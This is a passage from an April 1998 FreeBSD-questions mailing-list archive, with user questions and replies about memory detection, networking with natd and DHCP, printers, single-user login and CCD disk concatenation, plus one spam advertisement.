Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, service wrote: > Hi, > > I have installed FreeBSD 2.2.2 on my Pentium II with 128MB memory. > But after the FreeBSD boot up, the system detect my PC as > > Pentium Pro and 66MB memory. > > The following is the portion of 'dmesg' > >FreeBSD 2.2.2-RELEASE #0: Tue May 20 10:45:24 GMT 1997 > > jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC > >CPU: Pentium Pro (233.86-MHz 686-class CPU) > >real memory = 68091904 (66496K bytes) > >avail memory = 63389696 (61904K bytes) > > I don't much care about the CPU but the memory only get detected half of > the size. Is this really the limit of FreeBSD? Or is there a new > released version that I need to obtain to get large memory support? Your BIOS is lying as to how much memory you have. See the FAQ -- rebuild your kernel with options "MAXMEM=131072" Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:15:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA05010 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:15:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ers.online.sh.cn ([202.96.211.193]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id AAA04823 for ; Wed, 8 Apr 1998 00:14:25 -0700 (PDT) (envelope-from paulk@ether.online.sh.cn) Received: from jinbo.ether.online.sh.cn (202.96.211.195) by ers.online.sh.cn (EMWAC SMTPRS 0.81) with SMTP id ; Wed, 08 Apr 1998 15:11:41 +0800 Message-ID: From: "Paul King" To: , Subject: Re: Pentium II and large RAM support? Date: Wed, 8 Apr 1998 15:11:18 +0800 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG U can get the answer from FAQ of FreeBSD. While FreeBSD failure to detect more than 64M memory, you should add: options "MAXMEM=131072" 131072=128*1024 to ur kernel config file, and rebuild the kernel. Good Lucky ---------- > From: service > To: freebsd-questions@FreeBSD.ORG > Subject: Pentium II and large RAM support? > Date: Wednesday, April 08, 1998 3:04 PM > > Hi, > > I have installed FreeBSD 2.2.2 on my Pentium II with 128MB memory. > But after the FreeBSD boot up, the system detect my PC as > > Pentium Pro and 66MB memory. > > The following is the portion of 'dmesg' > >FreeBSD 2.2.2-RELEASE #0: Tue May 20 10:45:24 GMT 1997 > > jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC > >CPU: Pentium Pro (233.86-MHz 686-class CPU) > >real memory = 68091904 (66496K bytes) > >avail memory = 63389696 (61904K bytes) > > I don't much care about the CPU but the memory only get detected half of > the size. Is this really the limit of FreeBSD? Or is there a new > released version that I need to obtain to get large memory support? > > Your help or any response will be very appreciated. > > Thank you. > > -eric chen > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:29:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA07207 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:29:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from worldnet (m70.ulink.net [209.160.21.70]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id AAA07190; Wed, 8 Apr 1998 00:28:47 -0700 (PDT) (envelope-from webmaster@tiffiny.com) From: webmaster@tiffiny.com Message-Id: <199804080728.AAA07190@hub.freebsd.org> Date: Tue, 7 Apr 1998 19:44:32 Subject: free advertising for your business To: undisclosed-recipients:; Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello: FREE ADVERTISING FOR YOUR BUSINESS One of the most important parts of your business is advertising. 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To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:33:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA08856 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:33:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pili.adn.edu.ph (art@pili.adn.edu.ph [165.220.57.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA08851 for ; Wed, 8 Apr 1998 00:33:54 -0700 (PDT) (envelope-from art@pili.adn.edu.ph) Received: from localhost (art@localhost) by pili.adn.edu.ph (8.8.7/8.8.7) with SMTP id PAA13841 for ; Wed, 8 Apr 1998 15:42:46 +0800 (PHT) (envelope-from art@pili.adn.edu.ph) Date: Wed, 8 Apr 1998 15:42:46 +0800 (PHT) From: Arthur Alacar cc: freebsd-questions@FreeBSD.ORG Subject: IPX netware In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG how can i be connected to a server running novell? what do i need to configure? tenks.. .a.r.t. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:37:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA09413 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:37:03 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from po4.wam.umd.edu (po4.wam.umd.edu [128.8.10.166]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA09397 for ; Wed, 8 Apr 1998 00:36:49 -0700 (PDT) (envelope-from kee@wam.umd.edu) Received: from rac10.wam.umd.edu (kee@rac10.wam.umd.edu [128.8.10.150]) by po4.wam.umd.edu (8.9.0.Beta5/8.9.0.Beta2) with ESMTP id DAA10455 for ; Wed, 8 Apr 1998 03:36:37 -0400 (EDT) Received: from localhost by rac10.wam.umd.edu (8.9.0.Beta2/8.8.7) with SMTP id DAA12973 for ; Wed, 8 Apr 1998 03:36:36 -0400 (EDT) X-Authentication-Warning: rac10.wam.umd.edu: kee owned process doing -bs Date: Wed, 8 Apr 1998 03:36:36 -0400 (EDT) From: Byoung-Kee Yi To: freebsd-questions@FreeBSD.ORG Subject: Re: A few questions In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi folks - In reference to my own questions I posted earlier, > I'm running R2.2.1 on my home PC. I connect to Internet > through ppp service provided by my school(UMD). > I have a few questions. > > (1) I don't seem to be able to have access to FreeBSD home page, > in fact, almost all www servers running on top of FreeBSD. > It seems to me related to the reverse DNS checking. > I have no problem on Win95. Is proxy server a must in this case, > or is there any workaounds? I still have no clue why I need a proxy to have access to http://www.freebsd.org. Every trial gets me "Peer reset" message. I can, however, can read http://www.cdrom.com, which I believe is a FreeBSD box. I suspect that it has something to do with the BSDish reverse DNS checking. I have no problem with Win95 and Linux(RHL4.1) on the same PC. > (2) Ever since UMD upgraded their dial-up modems to 56.5K(probably X2), > I almost always get a message from pppd, "Lost Compression". > What does this mean? Is it a problem with the modem, pppd, or > noisy phone line? I solved this problem by disabling BSDish compression(-bsdcomp). > (3) I purchased a notebook recently. I know there is PAO package, > but would like to know which of FreeBSD or Linux is easy to > install on a notebook(Toshiba 730XCDT)? Since I don't have any PC cards, I successfully installed R2.2.1 (non-PAO) without a single problem. Thanks!!! -- Kee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:40:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA10140 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:40:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dart.sr.se (dart.SR.SE [193.12.91.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA10129 for ; Wed, 8 Apr 1998 00:40:23 -0700 (PDT) (envelope-from flygt@sr.se) Received: (from smap@localhost) by dart.sr.se (8.8.2/8.7.3) id JAA28840 for ; Wed, 8 Apr 1998 09:40:18 +0200 (MET DST) Received: from unknown(134.25.128.27) by dart.sr.se via smap (V1.3) id sma028829; Wed Apr 8 09:40:16 1998 Received: from stab.sr.se (stab.SR.SE [134.25.128.8]) by honken.sr.se (8.7.5/8.7.3) with ESMTP id JAA07407 for ; Wed, 8 Apr 1998 09:40:16 +0200 (MET DST) Received: from STAB/SpoolDir by stab.sr.se (Mercury 1.31); 8 Apr 98 09:40:15 +0100 Received: from SpoolDir by STAB (Mercury 1.31); 8 Apr 98 09:39:50 +0100 Received: from sr.se by stab.sr.se (Mercury 1.31) with ESMTP; 8 Apr 98 09:39:46 +0100 Message-ID: <352B29C0.F906A7B6@sr.se> Date: Wed, 08 Apr 1998 09:39:46 +0200 From: Gunnar Flygt Organization: Swedish Broadcasting corp. X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: "freebsd-questions@FreeBSD.ORG" Subject: Default printer Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I must be blind or something, since I cannot find how to make my network printer the default instead of the one attached to lpt1. Guide me, please! -- mvh, Gunnar epost: gunnar@pluto.sr.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:48:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA11336 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:48:09 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from xray.csci.unt.edu (xray.csci.unt.edu [129.120.3.44]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA11325 for ; Wed, 8 Apr 1998 00:48:03 -0700 (PDT) (envelope-from jeffries@silo.csci.unt.edu) Received: from localhost (jeffries@localhost) by xray.csci.unt.edu (8.8.8/8.8.7) with SMTP id CAA12118 for ; Wed, 8 Apr 1998 02:47:51 -0500 (CDT) (envelope-from jeffries@silo.csci.unt.edu) X-Authentication-Warning: xray.csci.unt.edu: jeffries owned process doing -bs Date: Wed, 8 Apr 1998 02:47:51 -0500 (CDT) From: Jeffrey Lynn Jeffries X-Sender: jeffries@xray.csci.unt.edu To: freebsd-questions@FreeBSD.ORG Subject: Proxy software, etc. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am looking for some software to help me with the following: I have a small network of a handful of PC's in my apartment. I have three Win95 boxes and two FreeBSD boxes. I would like for all of these machine to be able to browse the internet, do ftp, pop/imap mail, etc. Also I would like to be able to ftp or telnet into the FreeBSD boxes from a remote site. Right now I am using a test version of Wingate; it does all I need it to do, however the cost for it is outrageous, and OSR2 does not meet the stability of FreeBSD. I want to be able to have the same setup as I do know (internal browsing, FTP and telnet to the outside, and the same from the oustide in) off of my ISDN. Which program(s) am I looking for? I've heard some about natd, squid, and ipfw (along with pppd of course), but I'm unclear whether any/all of these will accomplish the same thing as I have now. Any help is greatly appreciated. ========================================================================== Jeffrey Lynn Jeffries, jeffries@unt.edu http://www.cs.unt.edu/~jeffries Proud user of FreeBSD: Ask me how to unleash the daemon inside your PC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:48:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA11618 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:48:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA11105 for ; Wed, 8 Apr 1998 00:45:41 -0700 (PDT) (envelope-from erakupa@kk.etx.ericsson.se) Received: from kkb3 (kkb3.kk.etx.ericsson.se [130.100.97.23]) by penguin.wise.edt.ericsson.se (8.7.5/8.7.3/glacier-1.12) with SMTP id JAA06057 for ; Wed, 8 Apr 1998 09:44:35 +0200 (MET DST) Received: from kk662.kk.etx.ericsson.se by kkb3 (SMI-8.6/LME-2.2.6) id JAA14662; Wed, 8 Apr 1998 09:44:26 +0200 From: erakupa@kk.etx.ericsson.se (ETX-B-SL Martti Kuparinen) Received: by kk662.kk.etx.ericsson.se (SMI-8.6/client-1.6) id JAA00836; Wed, 8 Apr 1998 09:44:28 +0200 Date: Wed, 8 Apr 1998 09:44:28 +0200 Message-Id: <199804080744.JAA00836@kk662.kk.etx.ericsson.se> To: questions@FreeBSD.ORG Subject: Re: invalid password in single-user mode X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug White wrote: > > What's wrong with my 2.2.6-RELEASE machine? In the multi-user > > mode I can login as root, but the root password is not accepted in > > single-user mode. I am using non-US version of DES instead of > > MD5 if that matters... > > you need the root password in single user mode? Well, I have in /etc/ttys # If you want to be asked for password, # change "secure" to "insecure" here console none unknown off insecure I have also disabled boot from floppy and activated BIOS password to give better security (I known, one could always open the box...). So this is not really needed but one of those "nice-to-have" things. > Are you running NIS? Yes, this is a NIS client. I was doing some LKM development and had a pointer error somewhere... So I rebooted (again). Somehow /var was corrupted and fsck was unable to repair it. As a result my pc could not go to multi-user mode. So there I was -- being asked for root's password to enter the single-user mode (which was not accepted). Which in turn means I could not run "fsck -y /var" manually. So this was like a chicken-egg -thing... The solution was to boot with installation floppy and use the FixIt floppy, and run fsck. But the question remains: why can't I login? /Martti To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 01:02:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA13163 for freebsd-questions-outgoing; Wed, 8 Apr 1998 01:02:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from post.mail.demon.net (post-30.mail.demon.net [194.217.242.40]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id BAA13138 for ; Wed, 8 Apr 1998 01:01:54 -0700 (PDT) (envelope-from bobh@n-cantrell.demon.co.uk) Received: from (n-cantrell.demon.co.uk) [193.237.193.139] by post.mail.demon.net with smtp (Exim 1.82 #2) id 0yMpns-00048Q-00; Wed, 8 Apr 1998 09:01:52 +0100 Message-ID: Date: Wed, 8 Apr 1998 09:00:12 +0100 To: Doug White Cc: FreeBSD Questions From: robert w hall Subject: Re: freebsd 2.2.5 kernel on cyrix 686 M2-MMX cpu In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Trial Version 3.04 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Latest News - the new 2.2.6 generic kernel, downloaded to a floppy, does appear to boot ok on my cyrix box (not much help to me though, since I've bought the full 2.2.5 CDROM set!) Bob Bob HallIn message , Doug White writes >On Tue, 31 Mar 1998, robert w hall wrote: > >> Doug >> Thanks - if you need repeat info though, please note I'm awae in bonnie >> scotland for a week after tomorrow morning > >They'll let you know if they want it. > > >Doug White | University of Oregon >Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant >http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > -- robert w hall To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 01:25:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA17170 for freebsd-questions-outgoing; Wed, 8 Apr 1998 01:25:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from wfdutilgw.ml.com (wfdutilf01.ml.com [206.3.74.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA17149 for ; Wed, 8 Apr 1998 01:24:58 -0700 (PDT) (envelope-from ash@fxsing.ml.com) Received: from mail1.ml.com ([199.201.57.137]) by wfdutilgw.ml.com (8.8.7/8.8.7/MLgwo-3.05) with ESMTP id EAA18341 for ; Wed, 8 Apr 1998 04:21:07 -0400 (EDT) Received: from tekkie.sg.ml.com (fxsg3.sg.ml.com [131.208.182.28]) by mail1.ml.com (8.8.7/8.8.7/MLml5-3.06) with ESMTP id EAA22113 for ; Wed, 8 Apr 1998 04:24:24 -0400 (EDT) Received: from rachel.fxsing.ml.com (rachel.sg.ml.com [131.208.182.50]) by tekkie.sg.ml.com (8.8.7/8.8.7/MLdomain4-2.07) with SMTP id QAA11800 for ; Wed, 8 Apr 1998 16:24:23 +0800 (SST) Received: by rachel.fxsing.ml.com (4.1/SMI-4.1) id AA11620; Wed, 8 Apr 98 16:24:23 SST From: ash@fxsing.ml.com (Ash Yadav) Message-Id: <9804080824.AA11620@rachel.fxsing.ml.com> Subject: installing on a Compaq Contura Aero 4/33 laptop To: questions@FreeBSD.ORG Date: Wed, 8 Apr 1998 16:24:22 +0800 (SST) Cc: ash@tekkie.sg.ml.com (Ash Yadav) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Folks, I have been using freebsd on my desktop machine for the past few months and am now in possesion of a compaq Contura Aero 4/33 laptop. I have the 2.2.5 on a CD but the comapq only has a PCMCIA floppy drive. I also have a xircom modem/ethernet card and my desktop at home acts as a gateway for my home area network (HAN). I would ideally like to do a net ( ftp ) install but since I have to boot up the laptop with a floppy and since the floppy uses the PCMCIA slot I cannot have the ethernet card in it at the same time. Can someone please enlighten me as to what is the best way to get freebsd on my laptop in these circumstances. Can I boot the floppy image from my HD while having the ethernet card plugged in and then do a ftp install. I intend to use the PAO floppy image and I have checked the lists on the PAO page to find the Aero listed there. i would like to run netscape on the laptop so that I can browse the web from the living room . The laptop only has 4MB of RAMThe laptop only has 4MB of RAM. Would 4MB be enuff for running netscape on a laptop . Any experiences with the above install and netscape queries would very helpful. thanx Ash ;) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 01:30:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA18655 for freebsd-questions-outgoing; Wed, 8 Apr 1998 01:30:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA18638; Wed, 8 Apr 1998 01:30:41 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id BAA04482; Wed, 8 Apr 1998 01:30:26 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <352B35A1.5BA5AB6C@san.rr.com> Date: Wed, 08 Apr 1998 01:30:25 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: Brian Reichert CC: hackers@FreeBSD.ORG, FreeBSD Questions Subject: Re: dhcpc and ed3 interface References: <19980407224839.64875@numachi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG First off, this belonged on -questions, not hackers. Please follow up there as needed. Brian Reichert wrote: > > Hiya- > > I'm having marginal luck getting the wide-dhcpc DHCP client working > consistently. I've got the bpf interface built, etc, but > occasionally, when I reboot, the dhcpc process bitches that my > 'device isn't configured for dhcp'. My experience with the wide client was that it was susceptible to the kinds of frustrations you describe. I have put together step-by-step instructions for setting up the ISC client at http://home.san.rr.com/freebd/dhcp.html. Please take a look at that and if you have any feedback I'd be very interested in hearing it. Good luck, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 02:19:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA27004 for freebsd-questions-outgoing; Wed, 8 Apr 1998 02:19:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rocksalt.mui.net ([207.12.13.235]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA26911 for ; Wed, 8 Apr 1998 02:19:44 -0700 (PDT) (envelope-from ken@mui.net) From: ken@mui.net Received: from lihing.mui.net (lihing.mui.net [207.12.13.237]) by rocksalt.mui.net (8.8.8/8.8.7) with SMTP id XAA00313 for ; Tue, 7 Apr 1998 23:19:42 -1000 (HST) (envelope-from ken@mui.net) Message-Id: <199804080919.XAA00313@rocksalt.mui.net> Comments: Authenticated sender is To: freebsd-questions@FreeBSD.ORG Date: Tue, 7 Apr 1998 23:17:14 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: natd X-mailer: Pegasus Mail for Win32 (v2.54) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG okay people, I'm lost here. Here's the visual: Network (207.12.13.232) Netmask(255.255.255.248) FreeBSDBox+EthernetCard(ed0)(207.12.13.235) MyRouter(207.12.13.233) LAN(fake IPs)<->RouterB(fake IPs) Internet<->MyRouter<->FrameRelay<->RouterB natd is up. firewall is sort-of functional. Question 1: where the heck does the natd.conf go? Question 2: what do I point the fake IPs to? to ed0? to another ethernet card that I put in the FreeBSDBox? Should RouterB point to ed0? or to MyRouter? If someone can point me in the right direction? Thanks in advance, ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 02:21:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA27612 for freebsd-questions-outgoing; Wed, 8 Apr 1998 02:21:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from caladan.tdx.co.uk (caladan.tdx.co.uk [195.188.177.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA27566 for ; Wed, 8 Apr 1998 02:21:33 -0700 (PDT) (envelope-from kpielorz@tdx.co.uk) Received: from tdx.co.uk (lorca-tx.tdx.co.uk [195.188.177.242]) by caladan.tdx.co.uk (8.8.8/8.8.8) with ESMTP id KAA03465 for ; Wed, 8 Apr 1998 10:21:31 +0100 (BST) (envelope-from kpielorz@tdx.co.uk) Message-ID: <352B4193.8A6E52CA@tdx.co.uk> Date: Wed, 08 Apr 1998 10:21:23 +0100 From: Karl Pielorz Organization: TDX X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: questions@FreeBSD.ORG Subject: CCD's - real concatenation? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi All, Does anyone know if you can use CCD to serially concatenate disks of differing sizes / types? (e.g. a 4.5gb IDE and a 2gb SCSI?) Or whether you can CCD' an allready CCD'd array? Regards, Karl Pielorz To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 02:29:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA29001 for freebsd-questions-outgoing; Wed, 8 Apr 1998 02:29:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA28984 for ; Wed, 8 Apr 1998 02:29:12 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id SAA14045; Wed, 8 Apr 1998 18:58:56 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id SAA13763; Wed, 8 Apr 1998 18:58:55 +0930 (CST) (envelope-from grog) Message-ID: <19980408185855.58358@freebie.lemis.com> Date: Wed, 8 Apr 1998 18:58:55 +0930 From: Greg Lehey To: Karl Pielorz , questions@FreeBSD.ORG Subject: Re: CCD's - real concatenation? References: <352B4193.8A6E52CA@tdx.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <352B4193.8A6E52CA@tdx.co.uk>; from Karl Pielorz on Wed, Apr 08, 1998 at 10:21:23AM +0100 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 April 1998 at 10:21:23 +0100, Karl Pielorz wrote: > Hi All, > > Does anyone know if you can use CCD to serially concatenate disks of > differing sizes / types? (e.g. a 4.5gb IDE and a 2gb SCSI?) Yes. You can't. You could, however, concatenate partitions of the same size on the two disks. My vinum driver (yes, I know, you're waiting to test it) will be able to do it, but not in the first release. > Or whether you can CCD' an allready CCD'd array? It might be possible, I'd strongly discourage the idea. What would you want to do that for? Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 02:36:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA29702 for freebsd-questions-outgoing; Wed, 8 Apr 1998 02:36:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA29695 for ; Wed, 8 Apr 1998 02:36:28 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id TAA14058; Wed, 8 Apr 1998 19:06:18 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id TAA13822; Wed, 8 Apr 1998 19:06:17 +0930 (CST) (envelope-from grog) Message-ID: <19980408190617.06524@freebie.lemis.com> Date: Wed, 8 Apr 1998 19:06:17 +0930 From: Greg Lehey To: Karl Pielorz , questions@FreeBSD.ORG Subject: Re: CCD's - real concatenation? References: <352B4193.8A6E52CA@tdx.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <352B4193.8A6E52CA@tdx.co.uk>; from Karl Pielorz on Wed, Apr 08, 1998 at 10:21:23AM +0100 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 April 1998 at 10:21:23 +0100, Karl Pielorz wrote: > Hi All, > > Does anyone know if you can use CCD to serially concatenate disks of > differing sizes / types? (e.g. a 4.5gb IDE and a 2gb SCSI?) Aaargh. That's what comes of answering messages before reading them. For some reason I was thinking of mirroring. You *should* be able to configure disks this way if you don't interleave. I haven't tried it, but I have looked through the source code. It looks as if you can even specify interleave > 1 with unequal partions, but in this case it truncates all the partitions to the size of the smallest, definitely not what you want. vinum can do partial mirroring and true concatenation of unequal size partitions. It can't interleave unequal sized partitions. I consider it a bug, not a feature, than CCD should allow this. > Or whether you can CCD' an allready CCD'd array? I still think this is a bad idea. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 02:38:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA00282 for freebsd-questions-outgoing; Wed, 8 Apr 1998 02:38:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from norway.it.earthlink.net (norway-c.it.earthlink.net [204.119.177.49]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA00272 for ; Wed, 8 Apr 1998 02:38:50 -0700 (PDT) (envelope-from bh@transbay.net) Received: from [153.37.33.148] (1Cust148.tnt12.sfo3.da.uu.net [153.37.33.148]) by 